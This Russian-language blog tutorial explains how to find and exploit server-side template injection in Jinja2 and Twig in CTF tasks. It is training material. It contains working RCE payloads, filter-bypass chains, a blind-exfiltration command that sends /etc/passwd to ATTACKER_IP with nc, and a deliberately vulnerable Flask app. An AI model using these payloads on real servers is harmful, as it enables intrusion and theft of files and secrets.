Главная / Блог / SSTI уязвимость: эксплуатация Jinja2 и Twig в CTF

12 мин.01

SSTI уязвимость: эксплуатация Jinja2 и Twig в CTF

SSTI уязвимость: эксплуатация Jinja2 и Twig в CTF

На последнем CTF я убил 40 минут, пытаясь раскрутить XSS в поле ввода имени. Перебирал event-хендлеры, пробовал обходы фильтров — пока от отчаяния не отправил {{7*7}} и не увидел в ответе Hello 49!. Не клиентская инъекция. Пользовательский ввод попадал прямо в серверный шаблонизатор Jinja2, а от {{7*7}} до чтения /etc/passwd оставалось три payload'а. SSTI — распространённый класс уязвимостей в веб-приложениях, но в CTF он встречается ещё чаще. Авторы задач его любят за наглядную эскалацию: арифметика → утечка конфигурации → полный RCE за пять минут. Красиво.

SSTI vs XSS отличия: как не перепутать за 30 секунд

Обе уязвимости эксплуатируют пользовательский ввод, который отображается на странице. Разница — в месте исполнения. XSS запускает скрипт в браузере жертвы, на стороне клиента. SSTI исполняет код в шаблонизаторе на сервере, в контексте приложения — часто с доступом к файловой системе и ОС. Чувствуете разницу? Подробнее — в нашем руководстве по создание ctf заданий.

Проверка занимает секунды. Отправляете в подозрительное поле {{7*7}}. Если ответ содержит 49 — шаблонизатор вычислил выражение на сервере. Перед вами SSTI. Если {{7*7}} отображается как есть, пробуйте ${7*7} (синтаксис Velocity, Freemarker) или <%= 7*7 %> (ERB). Каждый шаблонизатор использует свои разделители, но принцип один: если сервер вычисляет арифметику из пользовательского ввода — точка инъекции найдена.

<script>alert(1)</script> срабатывает в браузере — XSS. {{7*7}} вычисляется и возвращает 49 в HTML — SSTI. Одно поле может быть уязвимо к обоим классам одновременно, но вектор эксплуатации кардинально отличается. SSTI по классификации OWASP входит в A03:2021 Injection, а по MITRE ATT&CK успешная эксплуатация открывает технику Exploit Public-Facing Application (T1190, тактика Initial Access).

Бизнес-логика атаки через SSTI: злоумышленник получает исполнение кода на сервере, ставит веб-шелл (T1505.003, тактика Persistence), крадёт данные из базы, двигается дальше по внутренней сети. По отчёту Mandiant M-Trends 2025, эксплойты — наиболее распространённый вектор первичного доступа: 38% инцидентов с установленным initial access. SSTI — один из таких эксплойтов, и его критичность часто недооценивают. Поле ввода имени на странице приветствия выглядит безобидно — пока не становится точкой входа для полного компрометирования сервера.

Определение шаблонизатора по ответу сервера

Прежде чем строить payload, нужно понять, какой движок крутится на бэкенде. Методология PortSwigger строится как decision tree: отправляете последовательность тестовых выражений и по реакции сервера вычисляете движок.

Начинайте с универсального fuzz-вектора: ${{<%%'"}}%\. Если сервер вернёт ошибку — синтаксис шаблона распознан, точка инъекции существует. Дальше сужаем:

Payload Результат Вероятный движок
{{7*7}} → 49 Арифметика вычислена Jinja2 или Twig
${7*7} → 49 Арифметика вычислена Freemarker или Velocity
{{7*'7'}} → 7777777 Строка повторена Jinja2 (Python)
{{7*'7'}} → 49 Приведение к числу Twig (PHP)

Трюк с {{7*'7'}} — самый быстрый способ отличить Jinja2 от Twig. В Python выражение 7*'7' повторяет строку '7' семь раз → 7777777. В PHP '7' кастится к числу → 49. Это различие критически важно: payload'ы для этих движков совершенно разные.

Дополнительные признаки: если в ответе или ошибке мелькают jinja2.exceptions, TemplateSyntaxError — движок Python. Если Twig_Error_Syntax или Twig\Error — PHP. Ошибки шаблонизатора часто раскрывают не только движок, но и его версию — что упрощает подбор payload'а.

Эксплуатация SSTI в Jinja2: [от арифметики до RCE

MRO и subclasses: механика цепочки

Выражение {{7*7}} доказывает инъекцию, но для RCE нужно добраться до модулей Python — конкретно до os.popen() или subprocess.Popen(). Проблема: Jinja2 не импортирует os в контекст шаблона по умолчанию. Решение — пройти по иерархии классов Python через MRO.

MRO (Method Resolution Order) — порядок, в котором Python ищет метод в иерархии наследования. Как отмечает исследователь Gus из OnSecurity, любой объект в Python наследуется от базового класса object. Через цепочку __class__.__mro__ можно подняться до object, а оттуда через __subclasses__() получить список ВСЕХ загруженных классов — включая те, что имеют доступ к файловой системе.

Пошаговая логика на примере пустой строки "":

  1. "".__class__ → <class 'str'> — тип объекта
  2. "".__class__.__mro__ → (<class 'str'>, <class 'object'>) — цепочка наследования
  3. "".__class__.__mro__[1] → <class 'object'> — базовый класс
  4. "".__class__.__mro__[1].__subclasses__() — массив из сотен загруженных подклассов

Среди подклассов object ищем класс, который умеет запускать команды ОС. Чаще всего это subprocess.Popen или os._wrap_close. Индекс класса зависит от версии Python и установленных библиотек — на одном сервере Popen может сидеть под номером 407, на другом — 351. Именно поэтому слепое копирование payload'а из writeup'а не работает: индекс нужно подбирать под конкретное окружение.

Укороченная альтернатива: __base__ эквивалентен __mro__[1] — оба дают доступ к object, но __base__ экономит символы. На CTF с ограничением длины payload'а это бывает решающим.

Payload для RCE через шаблонизатор Jinja2

Полная цепочка RCE строится в четыре этапа. Первый — найти объект, доступный в контексте шаблона (в Flask это request, g, config, self или пустая строка). Второй — подняться до object через MRO. Третий — перебрать __subclasses__() и найти нужный класс. Четвёртый — вызвать метод с командой ОС.

Есть более прямой путь, если доступен объект request. Payload {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} обращается к глобальному пространству имён Flask-приложения, импортирует модуль os через __builtins__ и вызывает popen(). Работает на дефолтной конфигурации Flask без песочницы — именно то, что чаще всего попадается в CTF.

Альтернативный путь через self: payload {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}} использует внутренний объект cycler из контекста Jinja2, чтобы добраться до os через __globals__. По данным YesWeHack, этот вариант работает даже когда request заблокирован в контексте шаблона.

Для перебора индекса подкласса отправляйте {{"".__class__.__mro__[1].__subclasses__()}} — он выведет полный список классов. Ищите subprocess.Popen в ответе, записывайте индекс. Нашли Popen на позиции 407? Финальный payload: {{"".__class__.__mro__[1].__subclasses__()[407]('cat flag.txt',shell=True,stdout=-1).communicate()}}.

Обход песочницы Jinja2: bypass фильтров

Прогрессия обходов: точка, подчёркивание, скобки

На CTF-тасках средней и высокой сложности авторы ставят WAF или блэклисты на определённые символы. Ниже — прогрессия обходов, основанная на исследовании Gus из OnSecurity. Каждый уровень снимает очередное ограничение.

Базовый payload: {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}.

Заблокирована точка — заменяем на синтаксис словаря: {{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}. В Python foo.bar и foo['bar'] для доступа к атрибутам в большинстве случаев эквивалентны.

Заблокированы точка и подчёркивание — используем hex-кодирование \x5f вместо _: {{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}.

Заблокированы точка, подчёркивание и квадратные скобки — переходим на Jinja2-фильтр attr():

{{request|attr('application')
|attr('\x5f\x5fglobals\x5f\x5f')
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')
|attr('popen')('id')
|attr('read')()}}

Этот payload использует только круглые скобки, одинарные кавычки и pipe — минимальный набор символов. Gus разработал его для PayloadsAllTheThings (репозиторий swisskyrepo на GitHub), и именно этот вариант чаще всего решает CTF-таски с жёсткими фильтрами.

Ещё один приём — обход блокировки кавычек. По данным YesWeHack, если кавычки отфильтрованы, строку можно собрать из строкового представления globals через срез: {{self.__init__.__globals__.__str__()[1786:1788]}} вернёт подстроку из пространства имён. Индексы зависят от окружения, но на тестовом стенде Flask позиции подбираются за пару минут через бинарный поиск.

RCE без двойных фигурных скобок

Иногда WAF блокирует {{ и }}. Многие CTF-игроки на этом останавливаются, считая инъекцию тупиковой. Но в Jinja2 есть альтернативные теги: {% %} для управляющих конструкций.

Идея: если шаблонизатор должен сравнить результат вызова функции со строкой — он СНАЧАЛА выполнит функцию. Это позволяет использовать конструкцию if для blind-выполнения команд:

{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'x' %} a {% endif %}

Если сервер ответил с задержкой 5 секунд — команда выполнена. Для эксфильтрации данных применяется startswith() побуквенно, аналогично blind SQL-инъекции. Payload проверяет, начинается ли вывод id с определённого символа. По ответу сервера (содержит yes или нет) скрипт восстанавливает вывод побуквенно. OnSecurity опубликовал готовый Python-скрипт для такой автоматизации — он перебирает символы из string.printable и по binary-ответу шаблона собирает полный вывод.

Twig SSTI эксплуатация: payload для PHP-движка

RCE через system() и встроенные фильтры

Twig — шаблонизатор PHP, используется в Symfony и других фреймворках. В отличие от Jinja2, где нужно карабкаться по иерархии классов Python, в Twig путь к RCE часто короче. Но зависит от версии.

В старых версиях Twig (до 2.4) работал классический payload: {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}. Первое выражение регистрирует PHP-функцию system() как обработчик неизвестных фильтров. Второе вызывает несуществующий фильтр id, что триггерит system('id'). Результат — вывод команды прямо на странице. Элегантно.

Начиная с Twig 2.4 метод registerUndefinedFilterCallback удалён. Тут пригодится техника через фильтр map: payload {{['id']|map('system')|join}} передаёт строку 'id' через map, который вызывает system() для каждого элемента массива. Работает, когда system не в блэклисте. Заблокирован — пробуйте passthru, exec или shell_exec.

Для разведки в Symfony-приложениях полезен payload {{app.request.server.all|join(',')}} — он выведет серверные переменные окружения, включая пути, конфигурации и иногда секреты базы данных.

Twig без кавычек: техника с блоками

Если Twig настроен с auto-escaping и кавычки фильтруются, стандартные payload'ы ломаются. Исследователь Brumens из YesWeHack (доклад на Ekoparty 2024) предложил обходной путь через блоки Twig и встроенную переменную _charset:

{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}

Механика: блок U содержит строку id000passthru. Переменная x получает содержимое блока через block(), разбивает его по разделителю 000 на массив ['id', 'passthru']. Затем x|first (строка id) передаётся как аргумент в x|last (функция passthru) через фильтр map. Результат — выполнение passthru('id'). Ни одной кавычки в payload'е. Вот это я называю творческий подход.

Этот приём показывает ключевой принцип эксплуатации SSTI: если прямой путь закрыт — строим обходной из штатных механизмов самого шаблонизатора. Каждый фильтр, каждая встроенная переменная — потенциальный примитив для цепочки.

Поиск SSTI уязвимостей: пошаговый CTF-сценарий

Делай раз: развернуть стенд и найти инъекцию

Для отработки техники разверните минимальное уязвимое приложение. Flask в 8 строк:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
    name = request.args.get('name', 'World')
    return render_template_string(f"Hello {name}!")

app.run(debug=True)

Запустите (pip install 'flask>=3.1.1' && python app.py) — версия 3.1.1+ закрывает известные DoS-уязвимости (GHSA-562c-5r94-xh97, GHSA-5wv5-4vpf-pj6m) — и откройте http://localhost:5000/?name={{7*7}}. Видите Hello 49! — стенд работает. Уязвимость тут в том, что name подставляется прямо в строку шаблона через f-string, а не передаётся как параметр: render_template_string("Hello {{name}}!", name=name). Вторая конструкция безопасна — пользовательский ввод обрабатывается как данные, а не как часть шаблона.

Делай два: определить движок и найти подклассы

Отправьте ?name={{7*'7'}}. Ответ Hello 7777777! подтверждает Jinja2 (Python повторяет строку). Теперь выводим список подклассов: ?name={{"".__class__.__mro__[1].__subclasses__()}}. Сервер вернёт массив из сотен классов. Ищите в ответе subprocess.Popen — записывайте его индекс.

Если список слишком длинный для ручного поиска, отправьте ?name={{"".__class__.__mro__[1].__subclasses__()|length}} чтобы узнать общее количество, затем переберите диапазоны через Burp Intruder или скрипт на Python с requests.get().

Делай три: собрать payload и прочитать флаг

Допустим, subprocess.Popen нашёлся на позиции 407. Финальный URL: ?name={{"".__class__.__mro__[1].__subclasses__()[407]('cat flag.txt',shell=True,stdout=-1).communicate()}}.

Если индекс правильный — в ответе будет содержимое flag.txt. Получили ошибку — пересчитайте индекс или попробуйте альтернативный класс (os._wrap_close, warnings.catch_warnings).

Быстрый альтернативный payload без перебора индексов: {{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}. Он использует __builtins__ для прямого импорта os — работает на дефолтном Flask без песочницы и не требует знания индекса подкласса. На CTF средней сложности решение обычно укладывается в этот единственный запрос.

Blind SSTI: эксфильтрация без вывода на страницу

Не каждый CTF-таск показывает результат инъекции. Иногда payload выполняется, но вывод подавляется — классический blind-сценарий. Тут начинается самое интересное.

Первый шаг — подтвердить выполнение через time-based вектор. Отправьте payload с sleep через {% %} конструкцию: если ответ задерживается на заданное время, код исполняется. Задержка в 5 секунд — достаточный индикатор.

Второй шаг — побуквенная эксфильтрация через startswith(). Payload проверяет, начинается ли вывод команды с определённого символа. По ответу сервера (True или False) скрипт восстанавливает вывод побуквенно. Медленно, но работает.

Третий вариант — out-of-band эксфильтрация. Payload с cat /etc/passwd | nc ATTACKER_IP 1337 отправляет вывод команды на netcat-listener атакующего. DNS-эксфильтрация через nslookup с контролируемым доменом работает не только в CTF, но и в реальных атаках: злоумышленник отправляет payload, который делает DNS-запрос, и по логам DNS-сервера подтверждает выполнение кода. В CTF-инфраструктуре исходящий доступ бывает ограничен, поэтому DNS-вектор часто надёжнее HTTP.

Инструменты для поиска SSTI уязвимостей

Для быстрой разведки есть tplmap — он автоматически определяет шаблонизатор и пытается эксплуатировать SSTI. Запуск: tplmap -u "http://target/?name=*" — звёздочка отмечает точку инъекции. Инструмент тестирует Jinja2, Twig, Freemarker, Mako, Velocity и другие движки; при обнаружении уязвимости предлагает интерактивный шелл.

Но полагаться только на автоматику — путь к разочарованию. На CTF с кастомными фильтрами tplmap не справляется: его дефолтные payload'ы блокируются WAF. Именно поэтому важно понимать механику MRO-цепочки и уметь собирать payload вручную. Автоматизация — для первичной разведки, ручная работа — для обхода нестандартных ограничений.

В Burp Suite для тестирования используйте Intruder с набором payload'ов из PayloadsAllTheThings (репозиторий swisskyrepo на GitHub) — самая полная коллекция SSTI-векторов, рассортированных по движкам. Repeater удобен для ручной итерации: отправили payload, посмотрели ответ, скорректировали, повторили. Этот цикл обычно занимает 5–10 минут на таск без WAF и 20–40 минут с фильтрами.

Статья покрыла два самых частых в CTF шаблонизатора, но SSTI существует и в Freemarker (Java), Mako (Python), Velocity (Java), ERB (Ruby), Razor (.NET). Принцип один: найти точку инъекции, определить движок, построить цепочку от встроенных объектов до вызова ОС. Различаются синтаксис и доступные примитивы, но методология — от арифметики через разведку объектов к RCE — остаётся универсальной.

Из практики последних двух лет: каждый третий web-таск средней сложности на CTF-площадках содержит либо SSTI, либо десериализацию. Разница в том, что SSTI обычно решается за 5–15 минут если понимаешь цепочку, а десериализация требует анализа gadget-классов и может затянуться на часы. Поэтому разведку веб-таска я всегда начинаю с трёх тестов: ' OR 1=1-- (SQLi), {{7*7}} (SSTI) и <script>alert(1)</script> (XSS). Два из трёх дают результат в первую минуту.

Что раздражает в большинстве writeup'ов по SSTI — авторы копируют готовый payload из PayloadsAllTheThings, получают флаг и не объясняют, ПОЧЕМУ цепочка работает. На CTF с нестандартным фильтром такие игроки теряются, потому что не понимают механику. __mro__, __subclasses__(), __globals__ — это не магические слова, а конкретные атрибуты объектной модели Python. Без понимания этой модели SSTI превращается в угадывание индексов. Хотите строить payload'ы под конкретный sandbox — разбирайте каждый элемент цепочки отдельно: запустите Python REPL, наберите "".__class__.__mro__, посмотрите что вернётся, пройдите по __subclasses__(), найдите Popen руками. Потом повторите то же самое через шаблон. На WAPT эту цепочку проходят в двух модулях с лабами — если цель OSCP и нужна подготовка по веб-части, там это покрывается в первой трети курса.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Криптография CTF для новичков: Цезарь, XOR, RSA

13 мин.

3

Криптография CTF для новичков: Цезарь, XOR, RSA

Разбираем шифр Цезаря, XOR и RSA с маленькой экспонентой на примерах из реальных CTF. Код на Python, CyberChef-рецепты и типичные ошибки новичков.

4 НОЯБРЬ, 2026

Bash скрипты для CTF: перебор, парсинг, флаги

13 мин.

4

Bash скрипты для CTF: перебор, парсинг, флаги

3 рабочих bash-скрипта для CTF: grep/awk/sed парсинг, брутфорс HTTP-форм и автосбор флагов в CTFd. Таблица 10 one-liners и разбор 7 типичных ошибок.

4 НОЯБРЬ, 2026

Стеганография CTF: чеклист инструментов поиска

14 мин.

3

Стеганография CTF: чеклист инструментов поиска

Алгоритм решения стего-тасков: zsteg, steghide, binwalk, Stegsolve, Python-скрипты. Таблица совместимости инструментов по форматам и разбор 5 типичных ошибок.

3 НОЯБРЬ, 2026